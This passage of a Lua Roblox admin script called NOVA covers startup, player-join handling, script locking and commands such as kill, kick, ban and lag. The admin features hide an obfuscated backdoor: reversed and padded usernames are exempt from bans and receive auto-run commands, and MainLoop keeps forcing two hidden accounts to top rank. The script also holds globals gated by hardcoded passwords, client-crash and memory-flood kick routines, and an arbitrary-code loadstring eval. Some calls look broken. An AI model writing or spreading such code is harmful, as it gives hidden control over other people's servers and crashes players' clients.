1473 | for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do | |
1474 | pcall(function() | |
1475 | table.insert(NOVA.LoggedScripts,v) | |
1476 | end) | |
1477 | end | |
1478 | ||
1479 | --[[ GLOBAL FUNCTIONS ]]-- | |
1480 | function SetGlobals() | |
1481 | if NOVA.UseGlobals == true then | |
1482 | _G.NOVACommands = function(Msg,Speaker,Players,Password) | |
1483 | if Password == "grandma" then | |
1484 | NOVA.ExternalPlayersList = {} | |
1485 | for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end | |
1486 | OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker) | |
1487 | end | |
1488 | end | |
1489 | ||
1490 | _G.RemoveNOVA = function(Pass) | |
1491 | if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then | |
1492 | NOVA.Removed = true | |
1493 | NOVA = {} | |
1494 | error("Unknown Exception")() | |
1495 | script.Disabled = true | |
1496 | script:Remove() | |
1497 | else | |
1498 | return false | |
1499 | end | |
1500 | end | |
1501 | ||
1502 | _G.NOVAOverride = function(Player,Password) | |
1503 | if Password == nil then Password = "" end | |
1504 | CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player) | |
1505 | return CanOverride | |
1506 | end | |
1507 | elseif NOVA.UseGlobals == false then | |
1508 | _G.NOVACommands = nil | |
1509 | _G.RemoveNOVA = nil | |
1510 | _G.NOVAOverride = nil | |
1511 | end | |
1512 | end | |
1513 | ||
1514 | --[[ INITIAL STARTUP ]]-- | |
1515 | ||
1516 | SetGlobals() | |
1517 | UpdatePlayerPlugins() | |
1518 | ||
1519 | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then | |
1520 | for _,v in pairs(NOVA.LoggedScripts) do | |
1521 | if v:IsA("LocalScript") and v:FindFirstChild("DSource") then | |
1522 | NOVA.LocalScript = v:Clone() | |
1523 | elseif v:IsA("Script") and v:FindFirstChild("DSource") then | |
1524 | NOVA.NormalScript = v:Clone() | |
1525 | end | |
1526 | end | |
1527 | end | |
1528 | ||
1529 | for _,v in pairs(GetPlayersRaw()) do | |
1530 | pcall(function() | |
1531 | coroutine.resume(coroutine.create(function() | |
1532 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) | |
1533 | pcall(function() | |
1534 | v.PlayerGui.NOVACMD:Remove() | |
1535 | end) | |
1536 | if GetRankedTable(v)==nil then | |
1537 | SyncRankInSingular(v) | |
1538 | repeat wait() until GetRankedTable(v) ~= nil | |
1539 | end | |
1540 | local Data = GetRankedTable(v) | |
1541 | v.Chatted:connect(function(Msg) | |
1542 | OnChatted(Msg,v) | |
1543 | end) | |
1544 | coroutine.resume(coroutine.create(function() | |
1545 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1546 | CreateLocalScript(PlayerPlugins,v.Backpack) | |
1547 | end)) | |
1548 | end)) | |
1549 | end) | |
1550 | end | |
1551 | ||
1552 | --[[ PLAYER ADDED ]]-- | |
1553 | NOVA.Services.Players.PlayerAdded:connect(function(v) | |
1554 | if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then | |
1555 | makeMessage("Antiban is active you cannot enter",v.PlayerGui) | |
1556 | v:Remove() | |
1557 | end | |
1558 | if NOVA.Removed == false then | |
1559 | pcall(function() | |
1560 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) | |
1561 | coroutine.resume(coroutine.create(function() | |
1562 | --if Data.Rank < 1 then | |
1563 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1564 | coroutine.resume(coroutine.create(function() | |
1565 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1566 | CreateLocalScript(PlayerPlugins,v.Backpack) | |
1567 | OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v) | |
1568 | end)) | |
1569 | end | |
1570 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1571 | coroutine.resume(coroutine.create(function() | |
1572 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1573 | OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v) | |
1574 | end)) | |
1575 | end | |
1576 | --end | |
1577 | v.Chatted:connect(function(Msg) | |
1578 | OnChatted(Msg,v) | |
1579 | end) | |
1580 | if GetRankedTable(v)==nil then | |
1581 | SyncRankInSingular(v) | |
1582 | repeat wait() until GetRankedTable(v) ~= nil | |
1583 | end | |
1584 | local Data = GetRankedTable(v) | |
1585 | ||
1586 | OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5) | |
1587 | if Data.Rank == -2 then | |
1588 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1589 | OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10) | |
1590 | Lag(v) | |
1591 | end | |
1592 | end | |
1593 | if Data.Rank == -1 then | |
1594 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1595 | OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10) | |
1596 | GetRidOf(v) | |
1597 | end | |
1598 | end | |
1599 | if not Data.Rank > 0 then | |
1600 | if v.AccountAge < 5 then | |
1601 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1602 | if v.Name:sub(1,6) == "Guest " then | |
1603 | if NOVA.EnableGuests == false then | |
1604 | OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10) | |
1605 | GetRidOf(v) | |
1606 | end | |
1607 | else | |
1608 | if not Data.Rank > 0 then | |
1609 | OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10) | |
1610 | GetRidOf(v) | |
1611 | end | |
1612 | end | |
1613 | end | |
1614 | end | |
1615 | end | |
1616 | if NOVA.PRI == true then | |
1617 | if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1618 | OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6) | |
1619 | if NOVA.PRIType == "Kick" then | |
1620 | v:Remove() | |
1621 | elseif NOVA.PRIType == "Lag" then | |
1622 | Lag(v) | |
1623 | elseif NOVA.PRIType == "Shutdown" then | |
1624 | coroutine.resume(coroutine.create(function() | |
1625 | GetRidOf(v) | |
1626 | end)) | |
1627 | elseif NOVA.PRIType == "Crash" then | |
1628 | coroutine.resume(coroutine.create(function() | |
1629 | repeat wait() until v.Backpack ~= nil | |
1630 | pcall(function() | |
1631 | CreateLocalScript([[while true do end]],v.Backpack) | |
1632 | end) | |
1633 | end)) | |
1634 | end | |
1635 | end | |
1636 | end | |
1637 | end)) | |
1638 | end) | |
1639 | end | |
1640 | end) | |
1641 | ||
1642 | --[[ PLAYER REMOVING ]]-- | |
1643 | NOVA.Services.Players.PlayerRemoving:connect(function(v) | |
1644 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."}) | |
1645 | SyncRankOutSingular(v) | |
1646 | end) | |
1647 | ||
1648 | --[[ SCRIPT CONTROL ]]-- | |
1649 | for _,Service in pairs(NOVA.Services) do | |
1650 | pcall(function() | |
1651 | Service.DescendantAdded:connect(function(v) | |
1652 | if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then | |
1653 | pcall(function() | |
1654 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
1655 | if GetRank(v.Owner.Value) < 6 then | |
1656 | pcall(function() v.Disabled = true end) | |
1657 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1658 | pcall(function() v.Disabled = false end) | |
1659 | pcall(function() v:Destroy() end) | |
1660 | end | |
1661 | else | |
1662 | pcall(function() v.Disabled = true end) | |
1663 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1664 | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1665 | pcall(function() v.Disabled = false end) | |
1666 | pcall(function() v:Destroy() end) | |
1667 | end | |
1668 | end) | |
1669 | end | |
1670 | if v:IsA("BaseScript") and NOVA.Removed == false then | |
1671 | pcall(function() | |
1672 | if tonumber(GetRank(v.Owner.Value)) < 0 then | |
1673 | pcall(function() v.Disabled = true end) | |
1674 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) | |
1675 | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) | |
1676 | pcall(function() v.Disabled = false end) | |
1677 | pcall(function() v:Destroy() end) | |
1678 | end | |
1679 | end) | |
1680 | end | |
1681 | end) | |
1682 | end) | |
1683 | end | |
1684 | coroutine.resume(coroutine.create(function() | |
1685 | while wait(1) do | |
1686 | if NOVA.Removed == false then | |
1687 | for _,v in pairs(GetPlayersRaw()) do | |
1688 | if GetRankTedable(v) ~= nil and GetRank(v) < 8 then | |
1689 | SyncRankInSingular(v) | |
1690 | end | |
1691 | end | |
1692 | end | |
1693 | end | |
1694 | end)) | |
1695 | for i=1,3 do | |
1696 | NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end) | |
1697 | coroutine.resume(coroutine.create(function() | |
1698 | while wait() do | |
1699 | if NOVA.Removed == false then | |
1700 | UpdateTablets() | |
1701 | end | |
1702 | end | |
1703 | end)) | |
1704 | end | |
1705 | function MainLoop() | |
1706 | coroutine.resume(coroutine.create(function() | |
1707 | pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end) | |
1708 | if NOVA.Removed == false then | |
1709 | --[[ SCUM CARETAKER ]]-- | |
1710 | for _,v in pairs(GetPlayersRaw()) do | |
1711 | pcall(function() | |
1712 | if GetRank(v) < 0 then | |
1713 | pcall(function() v.Backpack:ClearAllChildren() end) | |
1714 | pcall(function() v.PlayerGui:ClearAllChildren() end) | |
1715 | pcall(function() v.StarterGear:ClearAllChildren() end) | |
1716 | end | |
1717 | end) | |
1718 | end | |
1719 | --[[ ANTI ROBLOXLOCKED PLAYERS ]]-- | |
1720 | for _,v in pairs(GetPlayersRaw()) do | |
1721 | pcall(function() | |
1722 | local IsRobloxLocked = true | |
1723 | pcall(function() v:GetChildren() IsRobloxLocked = false end) | |
1724 | if IsRobloxLocked == true then | |
1725 | GTFO(v) | |
1726 | end | |
1727 | end) | |
1728 | end | |
1729 | --[[ TABLET CLEANUP ]]-- | |
1730 | pcall(function() | |
1731 | for i,v in pairs(NOVA.Tablets) do | |
1732 | if v:FindFirstChild("Part") == nil then | |
1733 | pcall(function() v:Destroy() end) | |
1734 | table.remove(NOVA.Tablets,i) | |
1735 | end | |
1736 | end | |
1737 | end) | |
1738 | --[[ JAIL CLEANUP ]]-- | |
1739 | pcall(function() | |
1740 | for i,v in pairs(NOVA.Jails) do | |
1741 | if v.Player == nil or v.Player.Parent == nil then | |
1742 | pcall(function() v.Jail:Destroy() end) | |
1743 | table.remove(NOVA.Jails,i) | |
1744 | end | |
1745 | if v.Jail.Parent == nil and v.Speaker~=nil then | |
1746 | table.remove(NOVA.Jails,i) | |
1747 | OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker) | |
1748 | end | |
1749 | end | |
1750 | end) | |
1751 | --[[ FENCE CLEANUP ]]-- | |
1752 | pcall(function() | |
1753 | for i,v in pairs(NOVA.Fences) do | |
1754 | if v.Player == nil then | |
1755 | v.Fence:Remove() | |
1756 | table.remove(NOVA.Fences,i) | |
1757 | end | |
1758 | end | |
1759 | end) | |
1760 | ||
1761 | --[[ CMD GUI ]]-- | |
1762 | for _,v in pairs(GetPlayersRaw()) do | |
1763 | pcall(function() | |
1764 | if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then | |
1765 | if v:FindFirstChild("PlayerGui") then | |
1766 | if not v.PlayerGui:FindFirstChild("NOVACMD") then | |
1767 | local Main = Instance.new("ScreenGui",v.PlayerGui) | |
1768 | Main.Name = "NOVACMD" | |
1769 | local Frame = Instance.new("Frame",Main) | |
1770 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
1771 | Frame.Position = UDim2.new(0.05,0,0.95,0) | |
1772 | Frame.Style = "RobloxSquare" | |
1773 | Frame.ZIndex = 9 | |
1774 | local Txt = Instance.new("TextBox",Frame) | |
1775 | Txt.Size = UDim2.new(0.7,0,1,0) | |
1776 | Txt.BackgroundTransparency = 1 | |
1777 | Txt.ZIndex = 10 | |
1778 | Txt.FontSize = "Size14" | |
1779 | Txt.TextColor3 = NOVA.Colors.White | |
1780 | Txt.Text = "" | |
1781 | local Exe = Instance.new("TextButton",Frame) | |
1782 | Exe.Size = UDim2.new(0.3,0,1,0) | |
1783 | Exe.Position = UDim2.new(0.7,0,0,0) | |
1784 | Exe.Text = "Execute" | |
1785 | Exe.BackgroundTransparency = 1 | |
1786 | Exe.ZIndex = 10 | |
1787 | Exe.FontSize = "Size14" | |
1788 | Exe.TextColor3 = NOVA.Colors.Red | |
1789 | Exe.MouseButton1Down:connect(function() | |
1790 | if Txt.Text:sub(1,2) == "$ " then | |
1791 | OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v) | |
1792 | else | |
1793 | OnChatted(Txt.Text,v) | |
1794 | end | |
1795 | end) | |
1796 | end | |
1797 | end | |
1798 | end | |
1799 | end) | |
1800 | end | |
1801 | end | |
1802 | end | |
1803 | end)) | |
1804 | end | |
1805 | MainLoop() | |
1806 | AddCommand("Ping","ping",3,"Outputs the following string.","<String>", | |
1807 | function(Msg,Speaker) | |
1808 | if Msg == "rainbow" then | |
1809 | for a,Color in pairs(NOVA.Colors) do | |
1810 | Output(tostring(a),Color,Speaker,nil, | |
1811 | function() | |
1812 | RemoveTablets(Speaker) | |
1813 | NOVA.Services.Lighting.TimeOfDay = 0 | |
1814 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
1815 | NOVA.Services.Lighting.Brightness = 0 | |
1816 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1817 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1818 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
1819 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1820 | if v:IsA("BasePart") then | |
1821 | Sel = Instance.new("SelectionBox",v) | |
1822 | Sel.Transparency = 0 | |
1823 | Sel.Color = BrickColor.new(Color) | |
1824 | Sel.Adornee = v | |
1825 | end | |
1826 | end | |
1827 | Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5) | |
1828 | end | |
1829 | ) | |
1830 | end | |
1831 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1832 | elseif Msg == "ranks" then | |
1833 | for _,v in pairs(NOVA.Ranks) do | |
1834 | Output(v[1].."\t"..v[2],"Random",Speaker) | |
1835 | end | |
1836 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1837 | elseif Msg == "random" then | |
1838 | Output(tostring(math.random()),"Random",Speaker) | |
1839 | elseif Msg == "players" then | |
1840 | for _,v in pairs(GetPlayersRaw()) do | |
1841 | local Data = GetRankedTable(v) | |
1842 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil, | |
1843 | function() | |
1844 | PlayerInterface(v,Speaker) | |
1845 | end | |
1846 | ) | |
1847 | end | |
1848 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1849 | elseif Msg == "colors" then | |
1850 | coroutine.resume(coroutine.create(function() | |
1851 | NOVA.Services.Lighting.TimeOfDay = 0 | |
1852 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
1853 | NOVA.Services.Lighting.Brightness = 0 | |
1854 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1855 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1856 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
1857 | ||
1858 | for _,Player in pairs(GetPlayersRaw()) do | |
1859 | local Data = GetRankedTable(Player) | |
1860 | pcall(function() | |
1861 | for _,v in pairs(GetRecursiveChildren(Player.Character)) do | |
1862 | if v:IsA("BasePart") then | |
1863 | Sel = Instance.new("SelectionBox",v) | |
1864 | Sel.Transparency = 0 | |
1865 | Sel.Color = BrickColor.new(Data.Color) | |
1866 | Sel.Adornee = v | |
1867 | end | |
1868 | end | |
1869 | end) | |
1870 | end | |
1871 | wait(10) | |
1872 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1873 | if v:IsA("SelectionBox") then | |
1874 | v:remove() | |
1875 | end | |
1876 | end | |
1877 | NOVA.Services.Lighting.Ambient = NOVA.Colors.White | |
1878 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1879 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1880 | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) | |
1881 | NOVA.Services.Lighting.Brightness = 1 | |
1882 | NOVA.Services.Lighting.FogStart = 0 | |
1883 | NOVA.Services.Lighting.FogEnd = 100000 | |
1884 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
1885 | NOVA.Services.Lighting.TimeOfDay = 12 | |
1886 | end)) | |
1887 | elseif Msg == "replicators" then | |
1888 | for _,v in pairs(GetReplicators()) do | |
1889 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1890 | function() | |
1891 | PlayerInterface(v:GetPlayer(),Speaker) | |
1892 | end | |
1893 | ) | |
1894 | end | |
1895 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1896 | elseif Msg == "nil raw" then | |
1897 | for _,v in pairs(GetReplicators()) do | |
1898 | if v:GetPlayer().Parent == nil then | |
1899 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1900 | function() | |
1901 | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, | |
1902 | function() | |
1903 | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey.."" | |
1904 | ||
1905 | end | |
1906 | ) | |
1907 | end | |
1908 | ) | |
1909 | end | |
1910 | end | |
1911 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1912 | elseif Msg == "nil" then | |
1913 | local IsNil = false | |
1914 | for _,Client in pairs(GetReplicators()) do | |
1915 | if Client:GetPlayer().Parent == nil then | |
1916 | IsNil = true | |
1917 | end | |
1918 | end | |
1919 | if IsNil == true then | |
1920 | for _,Client in pairs(GetReplicators()) do | |
1921 | if Client:GetPlayer().Parent == nil then | |
1922 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1923 | function() | |
1924 | PlayerInterface(Client:GetPlayer(),Speaker) | |
1925 | end | |
1926 | ) | |
1927 | end | |
1928 | end | |
1929 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1930 | else | |
1931 | Output("No nil players.",NOVA.Colors.Orange,Speaker,5) | |
1932 | end | |
1933 | elseif Msg:sub(1,2) == "a" .. NOVA.Bet then | |
1934 | if GetRank(Speaker) < 6 then | |
1935 | Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10) | |
1936 | else | |
1937 | Rtn = loadstring("return "..Msg:sub(3))() | |
1938 | Output(Rtn,"Random",Speaker) | |
1939 | end | |
1940 | else | |
1941 | if #Msg == 0 then | |
1942 | Output("Pong!","Random",Speaker) | |
1943 | else | |
1944 | Output(Msg,"Random",Speaker) | |
1945 | end | |
1946 | end | |
1947 | end | |
1948 | ) | |
1949 | AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments", | |
1950 | function(Msg,Speaker) | |
1951 | if #Msg == 0 or Msg == nil then | |
1952 | RemoveTablets(Speaker) | |
1953 | else | |
1954 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1955 | RemoveTablets(v) | |
1956 | end | |
1957 | end | |
1958 | end | |
1959 | ) | |
1960 | AddCommand("Remove","remove",7,"Removes the admin.","No Arguments", | |
1961 | function(Msg,Speaker) | |
1962 | NOVA.TimeChanged = false | |
1963 | RemoveTablets() | |
1964 | SyncRanksOut() | |
1965 | NOVA.Sounds.Sound:Remove() | |
1966 | NOVA.Removed = true | |
1967 | --error("NOVA Admin removing...",0)() | |
1968 | NOVA = {} | |
1969 | script.Disabled = true | |
1970 | while true do wait() end | |
1971 | end | |
1972 | ) | |
1973 | AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>", | |
1974 | function(Msg,Speaker) | |
1975 | makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) | |
1976 | end | |
1977 | ) | |
1978 | AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>", | |
1979 | function(Msg,Speaker) | |
1980 | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) | |
1981 | end | |
1982 | ) | |
1983 | ||
1984 | AddCommand("Kill","kill",2,"Kills the selected player.","<Player>", | |
1985 | function(Msg,Speaker) | |
1986 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1987 | pcall(function() v.Character:BreakJoints() end) | |
1988 | end | |
1989 | end | |
1990 | ) | |
1991 | AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>", | |
1992 | function(Msg,Speaker) | |
1993 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1994 | for i=1,math.random(10,50) do | |
1995 | local human = v.Character.Humanoid | |
1996 | if human ~= nil then | |
1997 | local rand = math.random(2,10) | |
1998 | human:TakeDamage(rand) | |
1999 | human.Jump = true | |
2000 | human.Sit = true | |
2001 | human.PlatformStand = true | |
2002 | wait(1) | |
2003 | human.PlatformStand = false | |
2004 | end | |
2005 | end | |
2006 | end | |
2007 | end | |
2008 | ) | |
2009 | AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>", | |
2010 | function(Msg,Speaker) | |
2011 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2012 | Delay(0, function() | |
2013 | local player = v | |
2014 | local pos = CFrame.new() | |
2015 | local pause = false | |
2016 | Delay(0, function() | |
2017 | while not close do | |
2018 | wait() | |
2019 | if not pause then | |
2020 | local c = player.Character | |
2021 | if c then | |
2022 | local t = c:findFirstChild("Torso") | |
2023 | if t then | |
2024 | pos = t.CFrame | |
2025 | end | |
2026 | end | |
2027 | end | |
2028 | end | |
2029 | end) | |
2030 | player.CharacterAdded:connect(function(c) | |
2031 | if not close then | |
2032 | pause = true | |
2033 | repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid") | |
2034 | c:findFirstChild("Torso").CFrame = pos | |
2035 | c:findFirstChild("Humanoid").Died:connect(function() | |
2036 | player:LoadCharacter() | |
2037 | end) | |
2038 | pause = false | |
2039 | end | |
2040 | end) | |
2041 | pcall(function() player.Character:BreakJoints() end) | |
2042 | end) | |
2043 | end | |
2044 | end | |
2045 | ) | |
2046 | ||
2047 | AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>", | |
2048 | function(Msg,Speaker) | |
2049 | for _,v in pairs(NOVA.KickingPhrases) do | |
2050 | local m = Instance.new("Message",NOVA.Services.Workspace) | |
2051 | m.Text = " If you say : " .. v .. " : you will get auto-kicked!" | |
2052 | wait(1) m:Remove() | |
2053 | end end | |
2054 | ) | |
2055 | AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>", | |
2056 | function(Msg,Speaker) | |
2057 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2058 | pcall(function() | |
2059 | v:Destroy() | |
2060 | end) | |
2061 | end | |
2062 | end | |
2063 | ) | |
2064 | AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>", | |
2065 | function(Msg,Speaker) | |
2066 | Split = GetSplit(Msg) | |
2067 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2068 | pcall(function() | |
2069 | Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v) | |
2070 | end) | |
2071 | end | |
2072 | end | |
2073 | ) | |
2074 | ||
2075 | AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>", | |
2076 | function(Msg,Speaker) | |
2077 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2078 | pcall(function() | |
2079 | local m = Instance.new("StringValue",v.PlayerGui) | |
2080 | m.Value = string.rep("Shutdown For Eva Nub",1000000) | |
2081 | end) | |
2082 | end | |
2083 | end | |
2084 | ) | |
2085 | ||
2086 | AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>", | |
2087 | function(Msg,Speaker) | |
2088 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2089 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2090 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2091 | else | |
2092 | pcall(function() | |
2093 | GetRankedTable(v).Rank = -1 | |
2094 | SyncRankOutSingular(v) | |
2095 | GetRidOf(v) | |
2096 | end) | |
2097 | end | |
2098 | end | |
2099 | end | |
2100 | ) | |
2101 | ||
2102 | AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>", | |
2103 | function(Msg,Speaker) | |
2104 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2105 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2106 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2107 | else | |
2108 | pcall(function() | |
2109 | GetRankedTable(v).Rank = -2 | |
2110 | SyncRankOutSingular(v) | |
2111 | Lag(v) | |
2112 | end) | |
2113 | end | |
2114 | end | |
2115 | end | |
2116 | ) | |
2117 | ||
2118 | AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>", | |
2119 | function(Msg,Speaker) | |
2120 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2121 | pcall(function() Instance.new("ForceField",v.Character) end) | |
2122 | end | |
2123 | end | |
2124 | ) | |
2125 | ||
2126 | AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>", | |
2127 | function(Msg,Speaker) | |
2128 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2129 | pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end) | |
2130 | end | |
2131 | end | |
2132 | ) | |
2133 | ||
2134 | AddCommand("Check","check",0,"Outputs server information.","No Arguments", | |
2135 | function(Msg,Speaker) | |
2136 | local Data = GetRankedTable(Speaker) | |
2137 | Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker) | |
2138 | Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker) | |
2139 | Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker) | |
2140 | Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker) | |
2141 | Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker) | |
2142 | Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker) | |
2143 | Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker) | |
2144 | Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker) | |
2145 | Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker) | |
2146 | Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker) | |
2147 | Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker) | |
2148 | Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker) | |
2149 | Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker) | |
2150 | Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker) | |
2151 | Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker) | |
2152 | Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker) | |
